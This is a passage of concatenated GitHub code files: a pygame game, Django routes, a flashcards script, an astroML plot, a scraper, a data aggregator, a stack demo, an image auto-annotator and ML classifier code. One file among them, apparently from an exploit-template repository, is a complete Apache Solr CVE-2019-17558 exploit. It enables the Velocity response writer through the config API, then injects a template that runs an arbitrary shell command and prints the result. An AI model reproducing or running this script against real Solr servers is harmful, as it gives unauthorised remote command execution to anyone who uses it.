2):\n\t\t\tx += 0.05\n\t\t\ty += 0.025\n\t\t\tself.wait(0.001)\n\t\telectron2.remove_updater(update_dot2)\n\t\txmark = Text(\"X\").set_color(RED).shift(RIGHT*2 + DOWN*1)\n\t\tself.add(xmark)\n\t\twhile (x < 5):\n\t\t\tx += 0.05\n\t\t\ty += 0.025\n\t\t\tself.wait(0.001)\n\t\tself.wait(10)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Rizzist/QuantumComputingAZ","sub_path":"QuantumComputingManimGL/Section1/Lecture19/clone.py","file_name":"clone.py","file_ext":"py","file_size_in_byte":3803,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"67"} +{"seq_id":"6849642841","text":"# content from kids can code: http://kidscancode.org/blog/\n'''\nSources:\nhttps://python.hotexamples.com/examples/-/Player/respawn/python-player-respawn-method-examples.html\nhttps://python-forum.io/thread-24462.html\nAndrew (Table 0)\nTyson (Table 0)\n\nGoals, Rules, Feedback, Freedom\n\nGoals: Get all 4 tokens to quit the game / move to the next level\nRules: If you fall off and hit any of the red borders you die\nFeedback: When you collide with a mob you get a point\nFreedom: It does not matter how you get to the top platform and collect the final sprite it is up to the user\n'''\n\n# import libraries and modules\n\n# from platform import platform\nfrom multiprocessing import reduction\nfrom pickle import TRUE\nimport pygame as pg\nfrom pygame.sprite import Sprite\nimport random\nfrom random import randint\nimport os\n# asset folders for importing images\ngame_folder = os.path.dirname(__file__)\nimg_folder = os.path.join(game_folder, 'Mariogame_Images')\n\n# from symbol import power\nvec = pg.math.Vector2\n\n# game settings \nWIDTH = 800\nHEIGHT = 800\nFPS = 30\n\n# player settings\nPLAYER_GRAV = 0.8\nPLAYER_FRIC = 0.1\nSCORE = 0\n\n#define all of the colors\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\nBROWN = (73, 46, 24)\n\n# define the draw function and add all of the attributes\ndef draw_text(text, size, color, x, y):\n font_name = pg.font.match_font('arial')\n font = pg.font.Font(font_name, size)\n text_surface = font.render(text, True, color)\n text_rect = text_surface.get_rect()\n text_rect.midtop = (x, y)\n screen.blit(text_surface, text_rect)\n# Create the player class \nclass Player(Sprite):\n def __init__(self):\n Sprite.__init__(self)\n#Creates the player as minecraft steve by taking the \"Steve1.png from the file directory of images\n self.image = pg.image.load(os.path.join(img_folder, 'steve1.png')).convert()\n self.image.set_colorkey(BROWN)\n self.rect = self.image.get_rect()\n self.rect.center = (0,775)\n self.pos = vec(30,430)\n self.vel = vec(0,0)\n self.acc = vec(0,0)\n#defines the controls for the player\n def controls(self):\n keys = pg.key.get_pressed()\n if keys[pg.K_a]:\n self.acc.x = -5\n if keys[pg.K_d]:\n self.acc.x = 5\n#defines the jumo function and states if the player collides with a platform TP them to top\n def jump(self):\n self.rect.x += 1\n hits = pg.sprite.spritecollide(self, all_plats, False)\n self.rect.x += -1\n if hits:\n self.vel.y = -20\n def update(self):\n self.acc = vec(0,PLAYER_GRAV)\n self.controls()\n# the friction values \n self.acc.x += self.vel.x * -0.15\n self.acc.y += self.vel.y * -0.05\n self.vel += self.acc\n self.pos += self.vel + 0.3 * self.acc\n self.rect.midbottom = self.pos\n# if the player y value is greater than heigh TP them to that point\n if self.rect.y > HEIGHT:\n self.pos = (50,770)\n# creates the platforms class and assings unique attritbutes\nclass Platform(Sprite):\n def __init__(self, x, y, w, h, typeof1):\n Sprite.__init__(self)\n self.image = pg.Surface((w, h))\n self.image.fill(BLUE)\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n# Creates the border classes with the main difference between the platform and the borders being the color\nclass Border(Sprite):\n def __init__(self, x, y, w, h, typeof1):\n Sprite.__init__(self)\n self.image = pg.Surface((w, h))\n self.image.fill(RED)\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n self.typeof1 = typeof1\n# creates the mob classes and makes the mob a mario coin\n# also removes the background color of the mario coin \"white\"\nclass Mob(Sprite):\n def __init__(self, x, y, w, h, color):\n Sprite.__init__(self)\n self.image = pg.image.load(os.path.join(img_folder, 'mariocoin.png')).convert()\n self.image.set_colorkey(WHITE)\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n#init pygame and create a window\npg.init()\npg.mixer.init()\nscreen = pg.display.set_mode((WIDTH, HEIGHT))\npg.display.set_caption(\"My Game...\")\nclock = pg.time.Clock()\n\n# create groups\nall_sprites = pg.sprite.Group()\nall_plats = pg.sprite.Group()\nall_mobs = pg.sprite.Group()\nall_borders = pg.sprite.Group()\n\n# instantiate Platform class\nplayer = Player()\nplat = Platform(10, 775, 100, 15,'plat')\nplat2 = Platform(100, 670, 120, 15,'plat')\nplat3 = Platform(220, 540, 120, 15, 'plat')\nplat4 = Platform(450, 670, 50, 15,'plat')\nplat5 = Platform(650, 540, 50, 15,'plat')\nplat6 = Platform(475, 420, 50, 15,'plat')\nplat7 = Platform(690, 300, 50, 15,'plat')\nplat8 = Platform(690, 200, 50, 15,'plat')\nplat9 = Platform(0, 100, 675, 5,'plat')\ncoinplat = Platform(700, 750, 50, 15,'plat')\nmob1 = Mob(700, 700, 25, 15,'mob')\nmob2 = Mob(50, 400, 50, 15, 'mob')\nmob3 = Mob(475, 200, 50, 15, 'mob')\nwinmob = Mob(50, 50, 675, 5, 'mob')\n#Instantiate Border Class\nplat_bottom = Border(0, 795, 800, 80,'ground')\nplat_left = Border(-45, 0, 50, 800,'ground')\nplat_right = Border(795, 0, 50, 800,'ground')\n# add the individual instances to all respective groups\nall_sprites.add(player)\nall_plats.add(plat, plat2, plat3, plat4, plat5, plat6, plat7, plat8, plat9, coinplat,)\nall_borders.add(plat_bottom, plat_left, plat_right)\nall_mobs.add(mob1, mob2, mob3,winmob)\n\n#All Sprites group for the platforms\nall_sprites.add(plat)\nall_sprites.add(plat2)\nall_sprites.add(plat3)\nall_sprites.add(plat4)\nall_sprites.add(plat5)\nall_sprites.add(plat6)\nall_sprites.add(plat7)\nall_sprites.add(plat8)\nall_sprites.add(plat9)\nall_sprites.add(coinplat)\n\n# All Sprites group for the borders\nall_sprites.add(plat_left)\nall_sprites.add(plat_right)\n\n# All Sprites group for the Mobs\nall_sprites.add(mob1)\nall_sprites.add(mob2)\nall_sprites.add(mob3)\nall_sprites.add(winmob)\n\n# Game loop\nrunning = True\nwhile running:\n# keep the loop running using clock\n clock.tick(FPS)\n# if the player collides with a platform TP them to the top and print in the terminal\n hits = pg.sprite.spritecollide(player, all_plats, False)\n if hits:\n # print(\"ive struck a plat\")\n player.pos.y = hits[0].rect.top\n player.vel.y = 0\n# if the player comes into contact with the mario coin than kill the mario coin and add 1 to the player score\n mobhits = pg.sprite.spritecollide(player, all_mobs, True)\n if mobhits:\n print(\"ive struck a mob\")\n SCORE += 1 \n# if the player quits the game window\n for event in pg.event.get():\n if event.type == pg.QUIT:\n running = False\n# if the player gets to a score of 3 than quit the window signyfing a win\n if SCORE > 3:\n event.type == pg.quit\n running = False\n#if the player hits space bar than jump\n if event.type == pg.KEYDOWN:\n if event.key == pg.K_SPACE:\n player.jump()\n\n############ Update ##############\n # update all sprites\n all_sprites.update()\n############ Draw ################\n# draw the background screen\n screen.fill(BLACK)\n # draw text\n # draw_text(\"Level 1\", 22, WHITE, WIDTH - 700, HEIGHT / 24)\n draw_text(\"Score: \" + str(SCORE), 22, WHITE, WIDTH/2, HEIGHT/20)\n # draw_text(\"Score: \" + str(YOU_WIN), 22, WHITE, WIDTH/2, HEIGHT/20)\n # draw_text('FPS: \")\n # draw_text(\"score\")\n # draw all sprites\n all_sprites.draw(screen)\n # buffer - after drawing everything, flip display\n pg.display.flip()\npg.quit()\n","repo_name":"robertatlass/introToProgrammingFinalProject","sub_path":"mariogame.py","file_name":"mariogame.py","file_ext":"py","file_size_in_byte":7630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10480984062","text":"from __future__ import annotations\n\nfrom abc import ABC, abstractmethod, abstractproperty\nfrom typing import Any, Optional, Set\n\nfrom .page_path import PagePath, PagePathLike\n\n\nclass AbstractPage(ABC):\n \"\"\"The base abstract page interface.\"\"\"\n\n def __init__(\n self,\n path: PagePathLike,\n ) -> None:\n self._path = PagePath(path)\n self._parent: Optional[AbstractPage] = None\n self._children: Set[AbstractPage] = set()\n\n @abstractproperty\n def help_text(\n self\n ) -> str:\n \"\"\"The help text about this page.\n\n Think of this as a static explanation about the page type's role within the\n greater application, rather than reflecting the current state of this\n particular page.\n\n \"\"\"\n\n @abstractproperty\n def info_text(\n self\n ) -> str:\n \"\"\"The info text about this page.\n\n Think of this as a more dynamic output (in contrast to :meth:`help_text`),\n which reflect the current state of this page.\n\n \"\"\"\n\n @abstractmethod\n def get_prompt(\n self\n ) -> str:\n \"\"\"Return the prompt text for this page.\n\n This is what is shown on the application's current line, acting as the\n input prompt.\n\n \"\"\"\n\n @property\n def path(\n self\n ) -> PagePath:\n \"\"\"This page's path.\"\"\"\n return self._path\n\n @property\n def parent(\n self\n ) -> Optional[AbstractPage]:\n \"\"\"The parent page of this page.\"\"\"\n return self._parent\n\n @parent.setter\n def parent(\n self,\n new_parent: AbstractPage\n ) -> None:\n self._parent = new_parent\n\n @property\n def children(\n self\n ) -> Set[AbstractPage]:\n \"\"\"The immediate children of this page.\"\"\"\n return self._children\n\n def __hash__(\n self\n ) -> int:\n return hash(self._path)\n\n def __eq__(\n self,\n other: Any\n ) -> bool:\n if not isinstance(other, AbstractPage):\n return NotImplemented\n\n return self._path == other._path\n\n def __str__(\n self\n ) -> str:\n return str(self.path)\n\n def __repr__(\n self\n ) -> str:\n return f'<{self.__class__.__qualname__} [{self.path}]>'\n","repo_name":"welchbj/almanac","sub_path":"almanac/pages/abstract_page.py","file_name":"abstract_page.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"24057911711","text":"from rest_framework import routers\n\nfrom django.urls import include, path\n\nfrom .views import IngredientsViewSet, RecipesViewSet, TagsViewSet\n\nrouter_v1 = routers.DefaultRouter()\n\nrouter_v1.register(\"tags\", TagsViewSet, basename=\"tags\")\nrouter_v1.register(\"ingredients\", IngredientsViewSet, basename=\"ingredients\")\nrouter_v1.register(\"recipes\", RecipesViewSet, basename=\"recipes\")\n\n\nurlpatterns = [\n path(\"\", include(router_v1.urls)),\n]\n","repo_name":"john-neg/foodgram-project-react","sub_path":"backend/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25194331872","text":"cards = dict()\nprint('Input the number of cards:')\nn = int(input())\nfor i in range(n):\n print(f'The term for card #{i + 1}:')\n term = input().strip()\n print(f'The definition for card #{i + 1}:')\n definition = input().strip()\n cards[term] = definition\n\nfor term in cards:\n print(f'Print the definition of \"{term}\":')\n answer = input().strip()\n if answer == cards[term]:\n print('Correct!')\n else:\n print(f'Wrong. The right answer is \"{cards[term]}\".')\n\n\n","repo_name":"ikonnikovaev/flashcards_python","sub_path":"Flashcards/task/flashcards/flashcards.py","file_name":"flashcards.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39790866433","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n#Author:gshell\r\n\r\nimport sys\r\nimport os\r\nimport requests\r\nimport json\r\n\r\nauth = \"\"\"\r\n ___ _____ __ __ __\r\n / _ ) __ __ / ___/ ___ / / ___ / / / /\r\n / _ | / // / / (_ / (_-< / _ \\/ -_) / / / / \r\n/____/ \\_, / \\___/ /___//_//_/\\__/ /_/ /_/ \r\n /___/\r\n====================================================\r\n\r\n\"\"\"\r\n\r\ndef get_core_name(url):\r\n if url[-1] == '/':\r\n url = url[:-1].split('\\n')[0]\r\n else:\r\n url = url.split('\\n')[0]\r\n print ('[+] target_url: {}'.format(url))\r\n cores_url = url + '/solr/admin/cores?indexInfo=false&wt=json'\r\n print ('[+] Cores_Name: {}\\n'.format(cores_url))\r\n print ('====================================================')\r\n\r\n r = requests.get(cores_url)\r\n if r.status_code == 200 and 'responseHeader' in r.text and 'status' in r.text:\r\n json_str = json.loads(r.text)\r\n\r\n for key in json_str['status']:\r\n core_name_url = url + '/solr/' + key + '/config'\r\n exploit(core_name_url)\r\n \r\n else:\r\n print(\"no core_name, try to create please\")\r\n\r\ndef exploit(url):\r\n solr_headers = {\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0\", \r\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\", \r\n \"Accept-Language\": \"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\", \r\n \"Accept-Encoding\": \"gzip, deflate\", \r\n \"Connection\": \"close\", \r\n \"Upgrade-Insecure-Requests\": \"1\", \r\n \"Cache-Control\": \"max-age=0\", \r\n \"Content-Type\": \"application/json\"\r\n }\r\n\r\n solr_json = {\"update-queryresponsewriter\": {\"class\": \"solr.VelocityResponseWriter\", \r\n \"name\": \"velocity\", \r\n \"params.resource.loader.enabled\": \"true\", \r\n \"solr.resource.loader.enabled\": \"true\", \r\n \"startup\": \"lazy\", \r\n \"template.base.dir\": \"\"}}\r\n # proxies = {\"http\":\"http://127.0.0.1:8080\"}\r\n r = requests.post(url, headers=solr_headers, json=solr_json)\r\n if r.status_code == 200 and 'responseHeader' in r.text:\r\n print(\"[+] target maybe vulnerable!\")\r\n solr_url = url[:-7]\r\n # print(solr_url)\r\n cmd = sys.argv[2]\r\n solr_exp(solr_url,cmd)\r\n else:\r\n print (\"[+] target is not vulnerable\\n\")\r\n\r\ndef solr_exp(url,cmd):\r\n url = url + r\"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27\" + cmd + r\"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end\"\r\n r = requests.get(url)\r\n if r.status_code == 400 or r.status_code == 500 or r.status_code ==200 and len(r.content) >0:\r\n print (\"[+] solr_rce exploit Successful!\")\r\n print ('\\nvulnerable url: {}'.format(url))\r\n print ('\\nsolr__response: {}'.format(r.text))\r\n print ('====================================================\\n')\r\n else:\r\n print (\"!!! [+] solr exploit failed! !!!\")\r\n\r\nif __name__ == '__main__':\r\n print(auth)\r\n if len(sys.argv) != 3:\r\n sys.exit(\"\\n [!] Usage: python3 %s url cmd\\n\" % sys.argv[0])\r\n else:\r\n url = sys.argv[1]\r\n get_core_name(url)","repo_name":"ARPSyndicate/kenzer-templates","sub_path":"freaker/exploits/CVE-2019-17558/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","stars":100,"dataset":"github-code","pt":"67"} +{"seq_id":"3675706387","text":"\"\"\"\nNASA Atlas dataset example\n--------------------------\n\"\"\"\n# Author: Jake VanderPlas \n# License: BSD\n# The figure produced by this code is published in the textbook\n# \"Statistics, Data Mining, and Machine Learning in Astronomy\" (2013)\n# For more information, see http://astroML.github.com\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nfrom astroML.datasets import fetch_nasa_atlas\nfrom astroML.plotting.tools import devectorize_axes\n\ndata = fetch_nasa_atlas()\nRA = data['RA']\nDEC = data['DEC']\n\n# convert coordinates to degrees\nRA -= 180\nRA *= np.pi / 180\nDEC *= np.pi / 180\n\nax = plt.axes(projection='mollweide')\nplt.scatter(RA, DEC, s=1, lw=0, c=data['Z'], cmap=plt.cm.copper)\nplt.grid(True)\n# devectorize: otherwise the resulting pdf figure becomes very large\n#devectorize_axes(ax, dpi=400)\n\nplt.title('NASA Atlas Galaxy Locations')\ncb = plt.colorbar(cax=plt.axes([0.05, 0.1, 0.9, 0.05]),\n orientation='horizontal',\n ticks=np.linspace(0, 0.05, 6))\ncb.set_label('redshift')\n\nplt.show()\n","repo_name":"ryanmaas/astroML","sub_path":"book_figures/chapter1/fig_NASA_atlas.py","file_name":"fig_NASA_atlas.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"3807890369","text":"import requests\nfrom bs4 import BeautifulSoup\nimport time\n\nstart_time = time.time()\n\nfc_links = []\nurl = 'https://punchng.com/topics/2023-elections/#!'\nresponse = requests.get(url)\nhtml = response.content\n\nsoup = BeautifulSoup(html, 'html.parser')\nlinks = [a_tag.get('href') for a_tag in soup.find_all('a')]\nfor link in links:\n if link not in fc_links and link.startswith('https://punchng.com/') and not link.startswith('https://punchng.com/topics') and len(link)>45:\n fc_links.append(link)\n #print(link)\n\nprint(len(fc_links))\n\nprint('\\n')\nprint(\"--- %s seconds ---\" % (time.time() - start_time))","repo_name":"pepe-olivert/unicc_project","sub_path":"Information retrieval/url scraping/news/punchng_url_scraper.py","file_name":"punchng_url_scraper.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2513392357","text":"from abc import ABC\nfrom typing import Dict, Tuple, NamedTuple\nfrom common.aggregators.aggregator import Aggregator\nfrom functools import reduce\nfrom collections import defaultdict\nimport logging\n\nfrom common_utils.KeyValueStore import KeyValueStore\n\nCLIENT_ID = 'client_id'\nDATA = 'data'\nMSG_IDS = 'msg_ids'\n\nclass AverageTuple(NamedTuple):\n current_count: int\n current_average: float\n\n\nclass RollingAverageAggregator(Aggregator, ABC):\n def __init__(self, aggregate_keys: Tuple[str, ...], average_key: str):\n super().__init__(aggregate_keys)\n self._aggregate_table: KeyValueStore = KeyValueStore.loads('aggregate_table.json',\n parsing_func=RollingAverageAggregator.parse_kv_store_raw_entries)\n self._aggregate_keys = aggregate_keys\n self._average_key = average_key\n\n def aggregate(self, payload, client_id, **kwargs):\n self._verify_client_id(client_id)\n if len(self._aggregate_keys) == 1:\n key = payload.data[self._aggregate_keys[0]]\n else:\n key = tuple(payload.data[i] for i in self._aggregate_keys)\n average_value: AverageTuple = self._aggregate_table[client_id][DATA][key]\n new_average = ((average_value.current_count * average_value.current_average) + float(\n payload.data[self._average_key])) / (average_value.current_count + 1)\n data = AverageTuple(average_value.current_count + 1, new_average)\n self._aggregate_table[client_id][DATA][key] = data\n\n def _verify_client_id(self, client_id):\n if client_id not in self._aggregate_table:\n self._aggregate_table[client_id] = defaultdict()\n self._aggregate_table[client_id][DATA] = defaultdict(lambda: AverageTuple(0, 0.))\n self._aggregate_table[client_id][MSG_IDS] = set()\n\n\n @staticmethod\n def parse_kv_store_raw_entries(raw_dict):\n try:\n res = defaultdict()\n for client_id, client_data in raw_dict.items():\n\n res[client_id] = defaultdict()\n res[client_id][DATA] = defaultdict(lambda: AverageTuple(0, 0.))\n res[client_id][MSG_IDS] = set()\n\n data = client_data[DATA]\n data_dict = defaultdict(lambda: AverageTuple(0,0.))\n for key, value in data.items():\n current_count = int(value[0])\n current_average = float(value[1])\n data_dict[key] = AverageTuple(current_count=current_count, current_average=current_average)\n\n msg_ids = set(client_data[MSG_IDS])\n\n res[client_id][DATA] = data_dict\n res[client_id][MSG_IDS] = msg_ids\n except BaseException as e:\n logging.error(f'error en parser de rolling_average: {e}')\n\n return res","repo_name":"leogm99/tp3-bike-rides-analyzer","sub_path":"server/common/aggregators/rolling_average_aggregator/rolling_average_aggregator.py","file_name":"rolling_average_aggregator.py","file_ext":"py","file_size_in_byte":2853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"7383268969","text":"import queue\nclass A:\n def isEmpty(self,a):\n if a.empty()==True:\n return True\n else:\n return False\n def push(self,a,n,value):\n if a.qsize()==n:\n print(\"Stack is full\\n\")\n else:\n a.put_nowait(value)\n \nif __name__==\"__main__\":\n n=int(input(\"Enter limit of stack: \"))\n stack=queue.LifoQueue(n)\n i=A()\n while(True):\n key=input(\"\\n1.PUSH\\n2.POP\\n3.isEmpty\\n4.PEEK OR TOP\\n5.TRAVERSE\\n6.QUIT\\nChoose the option: \")\n if key=='1':\n value=int(input(\"Enter value to be pushed: \"))\n i.push(stack,n,value)\n print(\"Successfully pushed\\n\")\n elif key=='2':\n if i.isEmpty(stack)==True:\n print(\"Stack is empty\\n\")\n else:\n stack.get_nowait()\n print(\"POP operation successfull\\n\")\n elif key=='3':\n print(i.isEmpty(stack))\n elif key=='4':\n if i.isEmpty(stack)==False:\n print(stack.queue[-1])\n else:\n print(\"Stack is Empty\")\n elif key=='5':\n print(stack.queue)\n elif key=='6':\n break\n else:\n print(\"Enter correct option\\n\")","repo_name":"biswajit-pradhan/Data-Structure","sub_path":"Data Structure using python/Stack/stack_operations_using _Queue_module_LifoQueue_class.py","file_name":"stack_operations_using _Queue_module_LifoQueue_class.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25994133360","text":"import time\n\nfrom ..game.game_manager import GameManager\nfrom .input_manager import InputManager\nfrom .window_manager import WindowManager\n\n\nclass ApplicationManager:\n def __init__(self):\n self.refresh_rate = 128\n self.last_refresh = 0\n\n self.input_manager = InputManager(app_manager=self)\n self.window_manager = WindowManager(title='Connect 4', width=1200, height=1000)\n self.game_manager = GameManager(window_manager=self.window_manager)\n\n self.should_close = False\n while not self.should_close:\n self.think()\n\n def think(self):\n if time.time() - self.last_refresh < 1 / self.refresh_rate:\n wait_time = (1 / self.refresh_rate) - (time.time() - self.last_refresh)\n time.sleep(wait_time)\n\n self.last_refresh = time.time()\n\n self.input_manager.think()\n self.window_manager.think()\n self.game_manager.think()\n","repo_name":"JonasAlmaas/Connect4-Minimax","sub_path":"connect4/engine/application_manager.py","file_name":"application_manager.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71172667735","text":"# =================================================================== #\n# Program to pre-annotate images using COCO-trained DETR. #\n# #\n# Input: #\n# File with paths to each image which should be annotated. #\n# #\n# Output: #\n# Annotation file in the COCO format #\n# Box format: (x, y, w, h), where x,y is the top left corner. #\n #\n# Note that this does not work well when the image is crowed. #\n# =================================================================== #\n\nimport numpy as np\nimport torch\nimport torchvision.transforms as T\nfrom PIL import Image\nimport csv\n\n\ndef read_list_to_annotate(filename):\n \"\"\"\n Reads the file containing the paths to the images.\n Textfile\n \"\"\"\n img_paths = []\n with open(filename, \"r\") as f:\n for line in f:\n img_paths.append(str(line).rstrip('\\n'))\n print(\"Loaded names of {} images.\".format(len(set(img_paths))))\n return img_paths\n\n\ndef box_cxcywh_to_xywh(x):\n # Converts bounding boxes to (x1, y1, w, h) coordinates of top left corner and width and height.\n\n # (center_x, center_y, h, w)\n x_c, y_c, w, h = x.unbind(1)\n b = [(x_c - 0.5 * w), (y_c - 0.5 * h),\n w, h]\n return torch.stack(b, dim=1)\n\n\ndef rescale_bboxes(out_bbox, size):\n # Scale the bounding boxes to the image size\n img_w, img_h = size\n b = box_cxcywh_to_xywh(out_bbox)\n #b = out_bbox\n b = b * torch.tensor([img_w, img_h, img_w, img_h], dtype=torch.float32)\n return b\n\n\ndef auto_annotate(img_paths):\n \"\"\"\n Auto annotates a list of images using DETR.\n Args:\n\n \"\"\"\n detr = torch.hub.load('facebookresearch/detr', 'detr_resnet50', pretrained=True)\n detr.eval()\n\n annotations = []\n for img_path in img_paths:\n res = predict(detr, img_path)\n annotations += res\n \n return annotations\n\n\ndef predict(model, img_path, thresh= 0.6):\n \"\"\"\n Predicts for a given image path\n \"\"\"\n \n # Load image from path\n filename = img_path.split('/')[-1]\n img = Image.open(img_path)\n\n # Preprocess image\n transform = T.Compose([\n T.Resize(800),\n T.ToTensor(),\n T.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ])\n\n # Predict\n t_image = transform(img).unsqueeze(0)\n output = model(t_image)\n probas = output['pred_logits'].softmax(-1)[0,:,:-1]\n\n boxes = rescale_bboxes(output['pred_boxes'][0], (img.size[0], img.size[1])).detach()\n labels = probas.max(-1).indices\n conf = probas.max(-1).values.detach()\n \n # Threshold scores\n conf = conf.detach()\n keep = conf > thresh\n\n # Filter out scores, boxes, and labels using threshold\n conf = conf[keep]\n boxes = boxes.detach()[keep].numpy()\n labels = labels.detach()[keep].numpy()\n\n print(\"Predicted {} annotations for image {}...\".format(len(labels), filename))\n # Output: file, label, box1, box2, box3, box4\n out = []\n for i in range(len(labels)):\n out.append([filename, labels[i], boxes[i][0], boxes[i][1], boxes[i][2], boxes[i][3]])\n \n return out\n\n\ndef save_annotations(anns):\n filename_out = 'annotations.csv'\n file = open(filename_out, 'w+', newline = '')\n\n with file:\n write = csv.writer(file)\n write.writerows(anns)\n\n print(\"Saved annotations to {}!\".format(filename_out))\n\n\nif __name__ == \"__main__\":\n filename = input(\"Enter name of file with annotations: \")\n if filename == \"\":\n filename = 'to_annotate-test.txt'\n print(\"Using default name {}\".format(filename))\n img_paths = read_list_to_annotate(filename)\n anns = auto_annotate(img_paths)\n save_annotations(anns)","repo_name":"daved01/cocoTraffic","sub_path":"tools/preLabeller/make_annotations.py","file_name":"make_annotations.py","file_ext":"py","file_size_in_byte":3990,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"67"} +{"seq_id":"28713524302","text":"from sklearn import datasets\nimport pandas as pd\nimport numpy as np\nfrom scipy.stats import zscore\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.model_selection import KFold\nfrom sklearn.neural_network import MLPClassifier\nfrom HardCodedClassifier import HardCodedClassifier\nfrom kNNClassifier import kNNClassifier\nfrom DecisionTreeClassifier import DecisionTreeClassifier\nfrom NeuralNetworkClassifier import NeuralNetworkCalssifier\nfrom sklearn.ensemble import BaggingClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import AdaBoostClassifier\n\n\n\n# Prompts the user for their desired data set and returns that data set cleaned up a bit, with its name,\n# and whether or not it is a regressor style data set.\ndef get_data_set():\n\n while True:\n print(\"What data would you like to work with?\")\n print(\"1 - Iris data set\")\n print(\"2 - Car Evaluation data set\")\n print(\"3 - Pima Indian Diabetes data set - DISCONTINUED\")\n print(\"4 - Automobile MPG data set\")\n print(\"5 - Voting data set\")\n print(\"6 - Income data set\")\n\n data_response = input(\"> \")\n\n if data_response == '1':\n data = pd.read_csv(\"https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data\")\n columns = [\"sepal length\", \"sepal width\", \"petal length\", \"petal width\", \"class\"]\n data.columns = columns\n for col in columns:\n data[col] = data[col].astype(\"category\")\n\n return data, \"Iris\", False\n\n elif data_response == '2':\n data = pd.read_csv(\"https://archive.ics.uci.edu/ml/machine-learning-databases/car/car.data\")\n columns = [\"buying\", \"maint\", \"doors\", \"persons\", \"lug_boot\", \"safety\", \"class\"]\n data.columns = columns\n for col in columns:\n data[col] = data[col].astype(\"category\")\n\n return data, \"Car Evaluation\", False\n\n elif data_response == '3':\n print(\"Sorry, tht data set has been removed. Please select another.\")\n # data = pd.read_csv(\n # \"https://archive.ics.uci.edu/ml/machine-learning-databases/pima-indians-diabetes/\"\n # \"pima-indians-diabetes.data\")\n # data.columns = [\"pregnancies\", \"glucose\", \"blood pressure\", \"tricep thickness\", \"insulin\", \"bmi\",\n # \"pedigree\", \"age\", \"diabetic\"]\n # data[\"diabetic\"].replace([0, 1], [\"non-diabetic\", \"diabetic\"], inplace=True)\n # data[\"diabetic\"] = data[\"diabetic\"].astype(\"category\")\n # data.replace(0, np.NaN, inplace=True)\n # data.dropna(inplace=True)\n # return data, \"Pima Indian Diabetes\", False\n\n elif data_response == '4':\n data = pd.read_csv(\"https://archive.ics.uci.edu/ml/machine-learning-databases/auto-mpg/auto-mpg.data\",\n delim_whitespace=True)\n data.columns = [\"mpg\", \"cylinders\", \"displacement\", \"horsepower\", \"weight\",\n \"acceleration\", \"year\", \"origin\", \"name\"]\n new_columns = [\"cylinders\", \"displacement\", \"horsepower\", \"weight\", \"acceleration\",\n \"year\", \"origin\", \"name\", \"mpg\"]\n for col in new_columns:\n data[col] = data[col].astype(\"category\")\n data = data.reindex(columns=new_columns)\n data.replace(\"?\", np.NaN, inplace=True)\n data.dropna(inplace=True)\n return data, \"Automobile MPG\", True\n\n elif data_response == '5':\n data = pd.read_csv(\"https://archive.ics.uci.edu/ml/machine-learning-databases/voting-records/house-votes-84.data\")\n data.replace(\"?\", np.NaN, inplace=True)\n data.dropna(inplace=True)\n data.columns = [\"party\", \"infants\", \"water project\", \"budget adoption\", \"physician fee\", \"el salvador aid\",\n \"religious school groups\", \"satellite test ban\", \"nicaraguan aid\", \"mx missile\",\n \"immigration\", \"corp cutback\", \"edu spending\", \"superfund sue\", \"crime\",\n \"duty free exports\", \"south africa export\"]\n\n new_columns = [\"infants\", \"water project\", \"budget adoption\", \"physician fee\", \"el salvador aid\",\n \"religious school groups\", \"satellite test ban\", \"nicaraguan aid\", \"mx missile\",\n 